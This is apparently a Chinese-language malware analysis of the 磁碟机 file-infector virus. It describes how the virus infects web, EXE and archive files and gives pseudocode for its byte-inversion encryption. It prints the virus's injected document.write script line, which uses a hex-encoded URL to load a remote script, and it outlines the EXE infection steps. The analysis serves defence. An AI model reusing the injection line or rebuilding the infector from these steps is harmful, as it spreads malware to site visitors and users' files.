为XXX研究所提供技术支持时截获的样本，com/lsass.exe smss.exe，病毒中文名为磁碟机病毒，貌似很强，此等病毒岂能错过，分析之，不感独乐，遂将感染方式贴上：
感染文件类型：(文件全名后三位)
1 .htm, tml, .js
2 .exe
3 .rar, .zip
web文件感染函数:
1 按行读取web文件内容
2 如果没有找到匹配的：document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>"); 则在文件尾部加上这一句。
exe文件感染函数:
被感染的文件包括三个部分：
1）被修改图标资源的病毒体
2）被加密的原文件
3）病毒体
1 取C:/WINDOWS/system32/Com/LSASS.EXE文件信息。
2 读取C:/WINDOWS/system32/Com/LSASS.EXE文件到内存，并修改相应的资源内容，然后写到com/~临时文件中。
3 取待感染文件信息（后面修改文件时间用）。
4 读取待感染文件内容到内存，并进行加密，然后追加到com/~临时文件中。
5 再将C:/WINDOWS/system32/Com/LSASS.EXE文件读入内存，并加密写到com/~临时文件中。
6 将C:/WINDOWS/system32/Com/~临时文件拷贝到被感染文件位置。
//Add on 22:57 -1-9
对EXE的加密算法：
dwStart = 21B
g_dwVFileSize
g_dwNeedFilePos
bInfect = TRUE;
/* 每读取g_dwVFileSize个字节再加密的。
*
*/
while (fread(g_dwNeedFilePos/*pBuf*/, 1, g_dwVFileSize, file))
{
if (!bInfect) break;
ECX = dwStart;
ECX += 0x09;
while (1)
{
dwTmp = ECX;
if ECX > g_dwVFileSize
break;
EDX = g_dwNeedFilePos;
ECX += EDX;
byte tmp = Get [ECX];
not tmp;
Set [ECX], tmp;
ECX = dwTmp;
ECX += 0x0B;
}
ECX = 0;
dwTmp = ECX;
if g_dwVFileSize <= ECX
goto aa;
do
{
EDX = g_dwNeedFilePos;
ECX += EDX;
byte tmp = Get[ECX];
not tmp;
Set [ECX], tmp;
ECX = dwTmp;
ECX += 2;
if (ECX >= g_dwVFileSize)
break;
} while (1)
aa:
bInfect = FALSE;
}
//Add end 22:57 -1-9
